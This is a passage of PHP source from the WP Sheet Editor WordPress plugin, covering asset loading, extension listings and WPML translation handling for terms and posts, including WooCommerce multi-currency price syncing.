'vg_sheet_editor' ) ); } require 'views/quick-setup.php'; } /** * Render "whats new" page */ function render_whats_new_page() { if ( ! VGSE()->helpers->user_can_manage_options() ) { wp_die( __( 'You dont have enough permissions to view this page.', 'vg_sheet_editor' ) ); } require 'views/whats-new.php'; } /* * Register js scripts */ function register_scripts() { $current_post = VGSE()->helpers->get_provider_from_query_string(); $pages_to_load_assets = $this->frontend_assets_allowed_on_pages(); if ( empty( $_GET['page'] ) || ! in_array( $_GET['page'], $pages_to_load_assets ) ) { return; } $this->_register_scripts( $current_post ); } function _register_scripts( $current_post = null ) { wp_add_inline_script( 'jquery-core', 'window.$ = jQuery;' ); if ( VGSE_DEBUG ) { wp_enqueue_script( 'select2_js', $this->plugin_url . 'assets/vendor/select2/dist/js/select2.min.js', array( 'jquery' ), $this->version, false ); wp_enqueue_script( 'modal_js', $this->plugin_url . 'assets/vendor/remodal/dist/remodal.min.js', array( 'jquery' ), $this->version, false ); wp_enqueue_script( 'labelauty', $this->plugin_url . 'assets/vendor/labelauty/source/jquery-labelauty.js', array( 'jquery' ), $this->version, false ); wp_enqueue_script( 'notifications_js', $this->plugin_url . 'assets/vendor/oh-snap/ohsnap.js', array( 'jquery' ), $this->version, false ); wp_enqueue_script( 'handsontable_js', $this->plugin_url . 'assets/vendor/handsontable/dist/handsontable.full.js', array(), $this->version, false ); wp_enqueue_script( 'chosen', $this->plugin_url . 'assets/vendor/chosen/chosen.jquery.min.js', array(), $this->version, false ); wp_enqueue_script( 'chosen-editor', $this->plugin_url . 'assets/js/handsontable-chosen-editor.js', array(), $this->version, false ); wp_enqueue_script( 'text_editor_js', $this->plugin_url . 'assets/vendor/jqueryte/dist/jquery-te-1.4.0.min.js', array(), $this->version, false ); wp_enqueue_script( 'bep_nanobar', $this->plugin_url . 'assets/vendor/nanobar/nanobar.js', array(), $this->version, false ); wp_enqueue_script( 'bep-form-to-object', $this->plugin_url . 'assets/vendor/formToObject/dist/formToObject.js', array(), $this->version, false ); wp_enqueue_script( 'bep_global', $this->plugin_url . 'assets/js/global.js', array(), $this->version, false ); wp_enqueue_script( 'bep_init_js', $this->plugin_url . 'assets/js/init.js', array( 'handsontable_js' ), $this->version, false ); wp_enqueue_script( 'bep_post-status-plugin_js', $this->plugin_url . 'assets/js/post-status-plugin.js', array( 'bep_init_js' ), $this->version, false ); $localize_handle = 'bep_global'; } else { $min_extension = ( ! empty( $_GET['wpse_debug'] ) || ( defined( 'SCRIPT_DEBUG' ) && SCRIPT_DEBUG ) ) ? '' : '.min'; wp_enqueue_script( 'bep_libraries_js', $this->plugin_url . 'assets/vendor/js/libraries' . $min_extension . '.js', array(), $this->version, false ); wp_enqueue_script( 'bep_init_js', $this->plugin_url . 'assets/js/scripts' . $min_extension . '.js', array( 'bep_libraries_js' ), $this->version, false ); $localize_handle = 'bep_init_js'; } wp_localize_script( $localize_handle, 'vgse_global_data', apply_filters( 'vg_sheet_editor/global_js_data', array( 'ajax_url' => admin_url( 'admin-ajax.php' ), ) ) ); do_action( 'vg_sheet_editor/after_enqueue_assets' ); } /** * Get pages allowed to load frontend assets. * @return array */ function frontend_assets_allowed_on_pages() { $allowed_pages = array(); if ( ! empty( $_GET['page'] ) && ( strpos( $_GET['page'], 'vgse-bulk-' ) !== false || strpos( $_GET['page'], 'vgse_' ) !== false || strpos( $_GET['page'], 'vg_sheet_editor' ) !== false ) ) { $allowed_pages[] = sanitize_text_field( $_GET['page'] ); } $allowed_pages = apply_filters( 'vg_sheet_editor/scripts/pages_allowed', $allowed_pages ); return $allowed_pages; } function get_trigger_link( $prefix, $url, $id = '', $append_page_slug = false ) { $id = $prefix . '-' . $id; if ( $append_page_slug && ! empty( $_GET['page'] ) ) { $id .= '-' . sanitize_text_field( $_GET['page'] ); } return esc_url( add_query_arg( 'vgseup_t', $id, $url ) ); } function get_buy_link( $id = '', $url = null, $append_page_slug = false, $post_type = '' ) { if ( ! $url ) { $url = $this->buy_link; } if ( ! $post_type ) { $post_type = VGSE()->helpers->get_provider_from_query_string( false ); } if ( ! $post_type ) { $post_type = ''; } $extension = VGSE()->helpers->get_extension_by_post_type( $post_type ); if ( $extension && ! empty( $extension['inactive_action_url'] ) ) { $url = ( ! empty( $extension['is_any_mode_active'] ) ) ? $extension['active_action_url'] : $extension['inactive_action_url']; } return esc_url( str_replace( '{post_type}', $post_type, $this->get_trigger_link( 'buy', $url, $id, $append_page_slug ) ) ); } /** * Register CSS files. */ function register_styles() { $pages_to_load_assets = $this->frontend_assets_allowed_on_pages(); if ( empty( $_GET['page'] ) || ! in_array( $_GET['page'], $pages_to_load_assets ) ) { return; } $this->_register_styles(); } function render_extensions_list() { $extensions = VGSE()->extensions; $bundles = VGSE()->bundles; foreach ( $extensions as $index => $extension ) { if ( ! empty( $extension['bundle'] ) && is_array( $extension['bundle'] ) && ! $extensions[ $index ]['is_active'] ) { foreach ( $extension['bundle'] as $bundle ) { array_push( $bundles[ $bundle ]['extensions'], $extensions[ $index ] ); } } } include VGSE()->plugin_dir . '/views/extensions.php'; } function render_extensions_group( $extensions, $bundle = null ) { $defaults = array( 'title' => '', 'icon' => '', 'image' => '', // fa-search 'description' => '', 'status' => '', 'active_action_url' => '', 'inactive_action_url' => '', 'freemius_function' => '', 'inactive_action_label' => '', 'active_action_label' => '', 'bundle' => false, // any string, we'll group them by value 'class_function_name' => '', ); foreach ( $extensions as $extension ) { $extension = wp_parse_args( $extension, $defaults ); if ( ! empty( $bundle ) ) { $bundle = wp_parse_args( $bundle, $extension ); $extension['active_action_url'] = $bundle['active_action_url']; $extension['inactive_action_url'] = $bundle['inactive_action_url']; $extension['inactive_action_label'] = $bundle['inactive_action_label']; $extension['active_action_label'] = $bundle['active_action_label']; $extension['freemius_function'] = $bundle['freemius_function']; } $is_active = $extension['is_active']; $freemius = function_exists( $extension['freemius_function'] ) ? $extension['freemius_function']() : null; $button_label = $is_active ? $extension['active_action_label'] : $extension['inactive_action_label']; $button_url = $is_active ? $extension['active_action_url'] : $extension['inactive_action_url']; if ( $freemius ) { $button_url = ( $freemius->can_use_premium_code__premium_only() ) ? $freemius->get_account_url() : $this->get_buy_link( 'extensions', $freemius->checkout_url(), true ); $button_label = ( $freemius->can_use_premium_code__premium_only() ) ? __( 'My license', 'vg_sheet_editor' ) : $button_label; } include VGSE()->plugin_dir . '/views/single-extension.php'; } } function _register_styles() { if ( VGSE_DEBUG ) { wp_enqueue_style( 'wpse-fontawesome', $this->plugin_url . 'assets/vendor/font-awesome/css/font-awesome.min.css', '', $this->version, 'all' ); wp_enqueue_style( 'select2_styles', $this->plugin_url . 'assets/vendor/select2/dist/css/select2.min.css', '', $this->version, 'all' ); wp_enqueue_style( 'labelauty_styles', $this->plugin_url . 'assets/vendor/labelauty/source/jquery-labelauty.css', '', $this->version, 'all' ); wp_enqueue_style( 'handsontable_css', $this->plugin_url . 'assets/vendor/handsontable/dist/handsontable.full.css', '', $this->version, 'all' ); wp_enqueue_style( 'text_editor_css', $this->plugin_url . 'assets/vendor/jqueryte/dist/jquery-te-1.4.0.css', '', $this->version, 'all' ); wp_enqueue_style( 'chosen-css', $this->plugin_url . 'assets/vendor/chosen/chosen.min.css', '', $this->version, 'all' ); wp_enqueue_style( 'wp-sheet-editor-main-css', $this->plugin_url . 'assets/css/style.css', '', $this->version, 'all' ); wp_enqueue_style( 'loading_anim_css', $this->plugin_url . 'assets/css/loading-animation.css', '', $this->version, 'all' ); wp_enqueue_style( 'modal_css', $this->plugin_url . 'assets/vendor/remodal/dist/remodal.css', '', $this->version, 'all' ); wp_enqueue_style( 'modal_theme_css', $this->plugin_url . 'assets/vendor/remodal/dist/remodal-default-theme.css', '', $this->version, 'all' ); } else { wp_enqueue_style( 'wp-sheet-editor-libraries-css', $this->plugin_url . 'assets/vendor/css/libraries.min.css', '', $this->version, 'all' ); wp_enqueue_style( 'wp-sheet-editor-main-css', $this->plugin_url . 'assets/css/styles.min.css', '', $this->version, 'all' ); } $css_src = includes_url( 'css/' ) . 'editor.css'; wp_enqueue_style( 'tinymce_css', $css_src, '', $this->version, 'all' ); } /* * Enqueue wp media scripts on editor page */ function enqueue_media_wp_media() { $current_post = VGSE()->helpers->get_provider_from_query_string(); $pages_to_load_assets = $this->frontend_assets_allowed_on_pages(); if ( empty( $_GET['page'] ) || ! in_array( $_GET['page'], $pages_to_load_assets ) ) { return; } wp_enqueue_media(); } } } if ( ! function_exists( 'VGSE' ) ) { /** * Main WP Sheet Editor object * * @return WP_Sheet_Editor */ function VGSE() { return WP_Sheet_Editor::get_instance(); } function vgse_init() { VGSE()->init(); } if ( is_admin() || wp_doing_cron() || ( defined( 'WP_CLI' ) && WP_CLI ) ) { add_action( 'wp_loaded', 'vgse_init', 999 ); } else { // Priority 9 because the Google Sheets Sync needs the WPSE core to initialize before the front end forms save their submissions to be able to detect the changes and sync add_action( 'wp', 'vgse_init', 9 ); } } // If the locale is RTL, force the locale to en_US because we don't support RTL $wp_locale = get_option( 'WPLANG' ); if ( ! function_exists( 'vgse_force_editor_in_english' ) && preg_match( '/^(ar|he|fa|ku|ur)/', $wp_locale ) ) { function vgse_force_editor_in_english() { if ( ! is_admin() ) { return; } $is_editor_page = isset( $_GET['page'] ) && strpos( $_GET['page'], 'vgse-bulk-edit-' ) !== false; $is_editor_export_request = ! empty( $_REQUEST['vgse_csv_export'] ); if ( $is_editor_page || $is_editor_export_request ) { // This is required to switch the admin language without WPML add_action( 'init', function() { switch_to_locale( 'en_US' ); }, 1 ); // This is required to switch the admin language when using WPML if ( defined( 'ICL_SITEPRESS_VERSION' ) ) { add_filter( 'get_user_metadata', function( $check, $object_id, $meta_key ) { if ( 'icl_admin_language' === $meta_key ) { return array( 'en' ); } return $check; // Go on with the normal execution }, 10, 3 ); } } } vgse_force_editor_in_english(); } modules/wp-sheet-editor/index.php000064400000000000147600365160013052 0ustar00modules/wpml/inc/term.php000064400000040170147600365160011436 0ustar00is_the_default_language() ) { return $pieces; } $missing_languages = array_unique( $args['wpse_original_filters']['wpml_translations_missing'] ); $wpml_languages = wp_list_pluck( $sitepress->get_active_languages(), 'display_name', 'code' ); // Sanitize. We remove any value received not found in the active wpml languages, // and any value that doesn't have 2 letters only. foreach ( $missing_languages as $index => $missing_language ) { if ( ! isset( $wpml_languages[ $missing_language ] ) || ! preg_match( '/^[a-z]{2}$/', $missing_language ) ) { unset( $missing_languages[ $index ] ); } } $sql = " AND icl_t.trid IN ( SELECT trid FROM {$wpdb->prefix}icl_translations translations WHERE NOT EXISTS ( SELECT inner_translations.trid FROM {$wpdb->prefix}icl_translations inner_translations WHERE inner_translations.trid = translations.trid AND inner_translations.language_code IN ('" . implode( "','", $missing_languages ) . "') ) ) "; $pieces['where'] .= $sql; return $pieces; } function add_wpml_language_search( $spreadsheet_key ) { global $sitepress; if ( VGSE()->helpers->get_current_provider()->key !== 'term' ) { return; } if ( ! WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) { return; } if ( ! is_taxonomy_translated( $spreadsheet_key ) ) { return; } $wpml_languages = wp_list_pluck( $sitepress->get_active_languages(), 'display_name', 'code' ); ?>
                • sync_translation_fields( $term_id, null, null, $taxonomy_key ); } function sync_translation_fields( $term_id, $item, $data, $taxonomy_key ) { global $sitepress; if ( ! taxonomy_exists( $taxonomy_key ) ) { return; } $term_actions = $sitepress->get_term_actions_helper(); $term = get_term_by( 'term_id', $term_id, $taxonomy_key ); $term_actions->sync_term_meta( $term->term_id, $term->term_taxonomy_id ); } private function _duplicate_term( $term_id, $taxonomy, $lang ) { global $wpdb, $sitepress; $term = get_term( $term_id, $taxonomy ); if ( is_wp_error( $term ) ) { return $term; } if ( $term->parent ) { $parent_term = get_term( $term->parent, $taxonomy ); $term_parent_trid = $sitepress->get_element_trid( $parent_term->term_taxonomy_id, 'tax_' . $taxonomy ); $translated_parent_id = $wpdb->get_var( $wpdb->prepare( "SELECT element_id FROM {$wpdb->prefix}icl_translations WHERE trid = %d AND language_code = %s LIMIT 1", $term_parent_trid, $lang ) ); } else { $translated_parent_id = 0; } $new_term = wp_insert_term( $term->name . ' (Copy)', $term->taxonomy, array( 'description' => $term->description, 'parent' => $translated_parent_id, ) ); if ( is_wp_error( $new_term ) ) { return $new_term; } $sql = $wpdb->prepare( sprintf( 'INSERT INTO %s (`term_id`, `meta_key`, `meta_value`) SELECT %%d, `meta_key`, `meta_value` FROM %s WHERE `term_id` = %%d', $wpdb->termmeta, $wpdb->termmeta ), $new_term['term_id'], $term_id ); $wpdb->query( $sql ); return get_term( $new_term['term_id'], $taxonomy ); } function duplicate_to_language( $post_id, $cell_key, $data_to_save, $post_type, $cell_args, $spreadsheet_columns ) { global $wpdb, $sitepress; $term = get_term( $post_id, $post_type ); $new_langs = array_filter( array_map( 'trim', explode( ',', strtolower( $data_to_save ) ) ) ); $existing_languages_for_term = $wpdb->get_col( $wpdb->prepare( "SELECT language_code FROM {$wpdb->prefix}icl_translations WHERE trid IN (SELECT trid FROM {$wpdb->prefix}icl_translations WHERE element_id = %d AND element_type = %s)", $term->term_taxonomy_id, 'tax_' . $post_type ) ); $new_langs = array_diff( $new_langs, $existing_languages_for_term ); if ( empty( $new_langs ) ) { return; } $term_name = VGSE()->helpers->get_current_provider()->get_item_data( $post_id, 'name' ); $element_type = 'tax_' . esc_sql( $post_type ); $term = get_term( $post_id, $post_type ); $trid = $sitepress->get_element_trid( $term->term_taxonomy_id, $element_type ); foreach ( $new_langs as $lang ) { $sitepress->switch_lang( $lang ); $new_term = $this->_duplicate_term( $post_id, $post_type, $lang ); if ( ! $new_term ) { continue; } $sitepress->set_element_language_details( (int) $new_term->term_taxonomy_id, $element_type, $trid, $lang, $sitepress->get_default_language() ); } $sitepress->switch_lang( null ); } /** * Register spreadsheet columns */ function register_columns( $editor ) { global $sitepress; if ( $editor->provider->key === 'user' ) { return; } $post_types = $editor->args['enabled_post_types']; foreach ( $post_types as $post_type ) { // Don't register the columns if this is not a taxonomy, or if this is a taxonomy but there's also a post type with same key if ( ! taxonomy_exists( $post_type ) || post_type_exists( $post_type ) ) { continue; } if ( ! WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) { $editor->args['columns']->register_item( 'icl_translation_of', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 200, 'title' => __( 'WPML - Translation of', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'get_value_callback' => array( $this, 'get_translation_of_cell' ), 'save_value_callback' => array( $this, 'update_translation_of_cell' ), ) ); } else { $editor->args['columns']->register_item( 'wpml_duplicate', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => __( 'WPML - Duplicate', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'formatted' => array( 'comment' => array( 'value' => __( 'Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.', 'vg_sheet_editor' ) ), ), 'save_value_callback' => array( $this, 'duplicate_to_language' ), ) ); } $editor->args['columns']->register_item( 'wpml_language', $post_type, array( 'data_type' => 'meta_data', 'column_width' => 150, 'title' => __( 'WPML - Language', 'vg_sheet_editor' ), 'type' => '', 'supports_formulas' => true, 'supports_sql_formulas' => false, 'allow_to_hide' => true, 'allow_to_rename' => true, 'allow_plain_text' => true, 'allow_to_save' => true, 'formatted' => array( 'editor' => 'select', 'selectOptions' => wp_list_pluck( $sitepress->get_active_languages(), 'display_name', 'code' ), ), 'get_value_callback' => array( $this, 'get_language_for_cell' ), 'save_value_callback' => array( $this, 'save_language_for_cell' ), 'comment' => ( WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) ? null : array( 'value' => __( 'You can change the language of this post. If the translation for the new language exists, this change will not be applied.', 'vg_sheet_editor' ) ), ) ); } } function get_language_for_cell( $post, $cell_key, $cell_args ) { global $wpdb; $term = get_term_by( 'term_id', $post->ID, $post->post_type ); return $wpdb->get_var( $wpdb->prepare( 'SELECT language_code FROM ' . $wpdb->prefix . 'icl_translations WHERE element_type = %s AND element_id = %d', 'tax_' . $post->post_type, $term->term_taxonomy_id ) ); } function save_language_for_cell( $post_id, $cell_key, $data_to_save, $post_type, $cell_args = array(), $spreadsheet_columns = array() ) { global $wpdb, $sitepress; $new_language = strtolower( $data_to_save ); if ( ! icl_is_language_active( $data_to_save ) ) { return; } $term = get_term_by( 'term_id', $post_id, $post_type ); $translation_for_new_language_exists = (int) $wpdb->get_var( $wpdb->prepare( 'SELECT COUNT(*) FROM ' . $wpdb->prefix . 'icl_translations WHERE language_code = %s AND element_type = %s AND element_id = %d ', $new_language, 'tax_' . $post_type, $term->term_taxonomy_id ) ); if ( $translation_for_new_language_exists ) { return; } $args = array( 'language_code' => $new_language, 'source_language_code' => ( $new_language === $sitepress->get_default_language() ) ? null : $sitepress->get_default_language(), ); $wpdb->update( $wpdb->prefix . 'icl_translations', $args, array( 'element_type' => 'tax_' . esc_sql( $post_type ), 'element_id' => (int) $term->term_taxonomy_id, ) ); } function get_translation_of_cell( $post, $cell_key, $cell_args ) { global $sitepress, $wpdb; $main_language = $sitepress->get_default_language(); $term = get_term_by( 'term_id', $post->ID, $post->post_type ); $trid = $wpdb->get_var( $wpdb->prepare( 'SELECT trid FROM ' . $wpdb->prefix . 'icl_translations WHERE element_id = %d AND element_type = %s', $term->term_taxonomy_id, 'tax_' . $post->post_type ) ); if ( ! $trid ) { return ''; } $main_term_taxonomy_id = $wpdb->get_var( $wpdb->prepare( 'SELECT element_id FROM ' . $wpdb->prefix . 'icl_translations WHERE trid = %d AND element_type = %s AND language_code = %s', $trid, 'tax_' . $post->post_type, $main_language ) ); $value = ''; if ( ! $main_term_taxonomy_id || $main_term_taxonomy_id === $post->ID ) { return $value; } $current_language = $sitepress->get_current_language(); if ( $main_language !== $current_language ) { $sitepress->switch_lang( $main_language ); } $main_term = get_term_by( 'term_taxonomy_id', $main_term_taxonomy_id, $post->post_type ); if ( ! $main_term ) { return ''; } $value = html_entity_decode( VGSE()->helpers->get_current_provider()->get_item_data( $main_term->term_id, 'name' ) ); if ( $main_language !== $current_language ) { $sitepress->switch_lang( $current_language ); } return $value; } function get_term_id_from_name( $term_name, $taxonomy, $use_main_language = false ) { global $sitepress; $term_id = null; $main_language = $sitepress->get_default_language(); $current_language = $sitepress->get_current_language(); if ( $use_main_language && $main_language !== $current_language ) { $sitepress->switch_lang( $main_language ); } // Try to find the parent by slug, if not found, find by hierarchical name $term_query = new WP_Term_Query(); $terms = $term_query->query( array( 'taxonomy' => $taxonomy, 'fields' => 'ids', 'number' => 1, 'slug' => $term_name, 'hide_empty' => false, 'update_term_meta_cache' => false, ) ); if ( empty( $terms ) ) { $hierarchy_terms = array_map( 'trim', explode( '>', str_replace( ':', '>', html_entity_decode( $term_name ) ) ) ); $sanitized_hierarchy = implode( '>', $hierarchy_terms ); $ids = VGSE()->data_helpers->parse_terms_string_for_saving( $sanitized_hierarchy, $taxonomy, null, false ); $terms = array( end( $ids['term_ids'] ) ); } if ( ! empty( $terms ) ) { $term_id = (int) current( $terms ); } if ( $use_main_language && $main_language !== $current_language ) { $sitepress->switch_lang( $current_language ); } return $term_id; } function update_translation_of_cell( $term_id, $cell_key, $data_to_save, $taxonomy, $cell_args = array(), $spreadsheet_columns = array() ) { global $wpdb, $sitepress; $data_to_save = html_entity_decode( trim( $data_to_save ) ); $term = get_term_by( 'term_id', $term_id, $taxonomy ); if ( empty( $data_to_save ) ) { $wpdb->update( $wpdb->prefix . 'icl_translations', array( 'source_language_code' => null, 'language_code' => $sitepress->get_current_language(), ), array( 'element_id' => $term->term_taxonomy_id, 'element_type' => 'tax_' . esc_sql( $taxonomy ), ), array( '%s' ), array( '%d' ) ); return; } $main_id = $this->get_term_id_from_name( $data_to_save, $taxonomy, true ); if ( ! $main_id ) { return; } $main_term = get_term_by( 'term_id', $main_id, $taxonomy ); $element_type = 'tax_' . esc_sql( $taxonomy ); $trid = $sitepress->get_element_trid( $main_term->term_taxonomy_id, $element_type ); $sitepress->set_element_language_details( (int) $term->term_taxonomy_id, $element_type, $trid, $sitepress->get_current_language(), $sitepress->get_default_language() ); } function after_taxonomy_edited( $term_id, $old_taxonomy, $new_taxonomy, $term ) { global $wpdb; $wpdb->update( $wpdb->prefix . 'icl_translations', array( 'element_type' => 'tax_' . $new_taxonomy, ), array( 'element_id' => $term['term_taxonomy_id'], 'element_type' => 'tax_' . $old_taxonomy, ), array( '%s' ), array( '%d', '%s' ) ); } /** * Creates or returns an instance of this class. */ static function get_instance() { if ( null == self::$instance ) { self::$instance = new WPSE_WPML_Term(); self::$instance->init(); } return self::$instance; } function __set( $name, $value ) { $this->$name = $value; } function __get( $name ) { return $this->$name; } } } if ( ! function_exists( 'WPSE_WPML_Term_Obj' ) ) { function WPSE_WPML_Term_Obj() { return WPSE_WPML_Term::get_instance(); } } WPSE_WPML_Term_Obj(); modules/wpml/inc/post.php000064400000071527147600365160011466 0ustar00WC->post_type ) { return; } foreach ( $post_ids as $post_id ) { $this->_trigger_wpml_hook_after_wc_prices_updated( $post_id, array( $column ) ); } } function product_updated_with_formula( $post_id, $initial_data, $modified_data, $column, $formula, $post_type, $cell_args, $spreadsheet_columns ) { if ( $post_type !== VGSE()->WC->post_type ) { return; } $this->_trigger_wpml_hook_after_wc_prices_updated( $post_id, array( $column ) ); } function product_updated_on_spreadsheet( $product_id, $item, $data, $post_type ) { if ( ! in_array( $post_type, array( VGSE()->WC->post_type, 'product_variation' ), true ) ) { return; } $this->_trigger_wpml_hook_after_wc_prices_updated( $product_id, array_keys( $item ) ); } function _trigger_wpml_hook_after_wc_prices_updated( $post_id, $updated_keys ) { global $woocommerce_wpml; if ( ! is_object( $woocommerce_wpml ) || ! is_object( $woocommerce_wpml->multi_currency ) ) { return; } $keywords_that_require_sync_regex = '/(sale_price|regular_price|wcml_schedule|sale_price_dates_from|sale_price_dates_to)/'; if ( ! preg_match( $keywords_that_require_sync_regex, implode( ',', $updated_keys ) ) ) { return; } $currencies = $woocommerce_wpml->multi_currency->get_currencies(); foreach ( $currencies as $code => $currency ) { $sale_price = wc_format_decimal( get_post_meta( $post_id, '_sale_price_' . $code, true ) ); $regular_price = wc_format_decimal( get_post_meta( $post_id, '_regular_price_' . $code, true ) ); $schedule = get_post_meta( $post_id, '_wcml_schedule_' . $code, true ); $date_from = get_post_meta( $post_id, '_sale_price_dates_from_' . $code, true ); $date_to = get_post_meta( $post_id, '_sale_price_dates_to_' . $code, true ); $date_from = $schedule && ! empty( $date_from ) ? $date_from : ''; $date_to = $schedule && ! empty( $date_to ) ? $date_to : ''; $custom_prices = apply_filters( 'wcml_update_custom_prices_values', array( '_regular_price' => $regular_price, '_sale_price' => $sale_price, '_wcml_schedule' => $schedule, '_sale_price_dates_from' => $date_from, '_sale_price_dates_to' => $date_to, ), $code, $post_id ); $product_price = $woocommerce_wpml->multi_currency->custom_prices->update_custom_prices( $post_id, $custom_prices, $code ); do_action( 'wcml_after_save_custom_prices', $post_id, $product_price, $custom_prices, $code ); } } /** * Don't import SKUs on WooCommerce product translations * because it causes a bug in WPML where it updates the original product * * @param array $args * @return array */ function remove_sku_from_wc_product_translations_import( $args ) { if ( class_exists( 'WooCommerce' ) && $args['post_type'] === 'product' && ! WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) { foreach ( $args['data'] as $index => $row ) { if ( ! empty( $row['sku'] ) ) { unset( $args['data'][ $index ]['sku'] ); } } } return $args; } function set_current_language_to_new_rows( $new_posts_ids, $post_type ) { if ( post_type_exists( $post_type ) ) { foreach ( $new_posts_ids as $post_id ) { $this->sync_translation_fields( $post_id ); } } return $new_posts_ids; } function add_current_language_to_wc_rest_api_requests( $product ) { global $sitepress; if ( ! isset( $product['lang'] ) ) { $product['lang'] = $sitepress->get_current_language(); } return $product; } function register_custom_filters( $sanitized_filters, $dirty_filters ) { if ( isset( $dirty_filters['wpml_translations_missing'] ) ) { $sanitized_filters['wpml_translations_missing'] = array(); foreach ( $dirty_filters['wpml_translations_missing'] as $language ) { if ( is_string( $language ) && preg_match( '/^[a-z]{2}$/', $language ) ) { $sanitized_filters['wpml_translations_missing'][] = sanitize_text_field( $language ); } } } return $sanitized_filters; } function search_by_wpml_translation( $clauses, $wp_query ) { global $sitepress, $wpdb; if ( empty( $wp_query->query['wpse_original_filters'] ) || empty( $wp_query->query['wpse_original_filters']['wpml_translations_missing'] ) ) { return $clauses; } if ( ! WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) { return $clauses; } $missing_languages = $wp_query->query['wpse_original_filters']['wpml_translations_missing']; $wpml_languages = wp_list_pluck( $sitepress->get_active_languages(), 'display_name', 'code' ); // Sanitize. We remove any value received not found in the active wpml languages, // and any value that doesn't have 2 letters only. foreach ( $missing_languages as $index => $missing_language ) { if ( ! isset( $wpml_languages[ $missing_language ] ) || ! preg_match( '/^[a-z]{2}$/', $missing_language ) ) { unset( $missing_languages[ $index ] ); } } $sql = " AND wpml_translations.trid IN ( SELECT trid FROM {$wpdb->prefix}icl_translations translations WHERE NOT EXISTS ( SELECT inner_translations.trid FROM {$wpdb->prefix}icl_translations inner_translations WHERE inner_translations.trid = translations.trid AND inner_translations.language_code IN ('" . implode( "','", $missing_languages ) . "') ) ) "; $clauses['where'] .= $sql; return $clauses; } function add_wpml_language_search( $spreadsheet_key ) { global $sitepress; if ( ! VGSE()->helpers->get_current_provider()->is_post_type ) { return; } if ( ! WP_Sheet_Editor_WPML_Obj()->is_the_default_language() ) { return; } if ( ! is_post_type_translated( $spreadsheet_key ) ) { return; } $wpml_languages = wp_list_pluck( $sitepress->get_active_languages(), 'display_name', 'code' ); ?>
                • get_current_language(); foreach ( $variation_ids as $variation_id ) { $has_lang = (int) $wpdb->get_var( $wpdb->prepare( "SELECT COUNT(*) FROM {$wpdb->prefix}icl_translations WHERE element_type = 'post_product_variation' AND element_id = %d", $variation_id ) ); if ( ! $has_lang ) { $trid = 1 + (int) $wpdb->get_var( "SELECT MAX(trid) FROM {$wpdb->prefix}icl_translations" ); $response = $wpdb->insert( $wpdb->prefix . 'icl_translations', array( 'element_type' => 'post_product_variation', 'element_id' => $variation_id, 'trid' => $trid, 'language_code' => $current_language, ) ); } } } public function get_fields_to_sync( $row ) { if ( ! function_exists( 'wpml_get_setting' ) ) { return $row; } $out = array(); $wpml_config = wpml_get_setting( 'translation-management' ); $wpml_custom_fields = $wpml_config['custom_fields_translation']; $wpml_taxonomies = wpml_get_setting( 'taxonomies_sync_option' ); $wpml_custom_fields = array_merge( $wpml_custom_fields, $wpml_taxonomies ); $current_post = get_post( $row['ID'] ); $excluded_keys = array( 'ID' ); $row_post_type = empty( $row['post_type'] ) ? $current_post->post_type : $row['post_type']; $spreadsheet_columns = VGSE()->helpers->get_unfiltered_provider_columns( $row_post_type ); if ( $row_post_type === $current_post->post_type ) { $excluded_keys[] = 'post_type'; } foreach ( $row as $field_key => $value ) { $is_meta_column = isset( $spreadsheet_columns[ $field_key ] ) && in_array( $spreadsheet_columns[ $field_key ]['data_type'], array( 'post_meta', 'meta_data' ), true ); // Exclude if it's a meta column and it's not found in the WPML config if ( ( $is_meta_column && ! isset( $wpml_custom_fields[ $field_key ] ) ) || // Exclude if the field exists in the WPML config and it's marked as ignore // or translate (they don't require syncing because they're translated separately in each post) ( isset( $wpml_custom_fields[ $field_key ] ) && in_array( (int) $wpml_custom_fields[ $field_key ], array( 0, 2 ), true ) ) || // Exclude if the field is found in our manual exclusion list in_array( $field_key, $excluded_keys, true ) ) { continue; } $out[ $field_key ] = $value; } return $out; } public function after_wc_variations_updated( $final, $request, $variations_rows, $original_variation_rows ) { $has_fields_to_sync = false; foreach ( $original_variation_rows as $row ) { $syncable_fields = $this->get_fields_to_sync( $row ); if ( $syncable_fields ) { $has_fields_to_sync = true; break; } } if ( $has_fields_to_sync ) { $this->sync_translation_fields( $final['ID'] ); } } public function sync_translation_fields_after_saving_post( $post_id, $item ) { if ( ! VGSE()->helpers->get_current_provider()->is_post_type ) { return; } $syncable_fields = $this->get_fields_to_sync( $item ); if ( ! $syncable_fields ) { return; } // We don't sync variation changes here because variation haven't been saved yet. We save variations later in the page cycle if ( class_exists( 'WooCommerce' ) && ! empty( $item['post_type'] ) && $item['post_type'] === 'product_variation' ) { return; } $this->sync_translation_fields( $post_id ); } public function sync_translation_fields_after_formula( $post_id, $initial_data, $modified_data, $column ) { if ( ! VGSE()->helpers->get_current_provider()->is_post_type ) { return; } $syncable_fields = $this->get_fields_to_sync( array( $column => $modified_data ) ); if ( $syncable_fields ) { $this->sync_translation_fields( $post_id ); } } public function disable_sql_formulas_to_allow_translation_syncing( $allowed ) { if ( VGSE()->helpers->get_current_provider()->is_post_type ) { $allowed = false; } return $allowed; } public function post_converted_to_product( $post_id ) { global $wpdb; $wpdb->update( $wpdb->prefix . 'icl_translations', array( 'element_type' => 'post_product', ), array( 'element_type' => 'post_post', 'element_id' => $post_id, ) ); } public function sync_fields_if_new_post( $item, $post_id, $post_type ) { global $wpdb; if ( ! VGSE()->helpers->get_current_provider()->is_post_type ) { return $item; } $post = get_post( $post_id ); $sql = "SELECT * FROM {$wpdb->prefix}icl_translations WHERE element_type = %s AND element_id = %d"; $row_exists = $wpdb->get_row( $wpdb->prepare( $sql, 'post_' . $post->post_type, $post_id ) ); if ( ! $row_exists ) { $this->sync_translation_fields( $post_id ); } return $item; } public function sync_translation_fields_after_wc_rest_variation_inserted( $variation, $request ) { // Exit if this REST request didn't come from WPSE if ( empty( $request['wpse_source'] ) ) { return; } // Exit if this REST request came from the 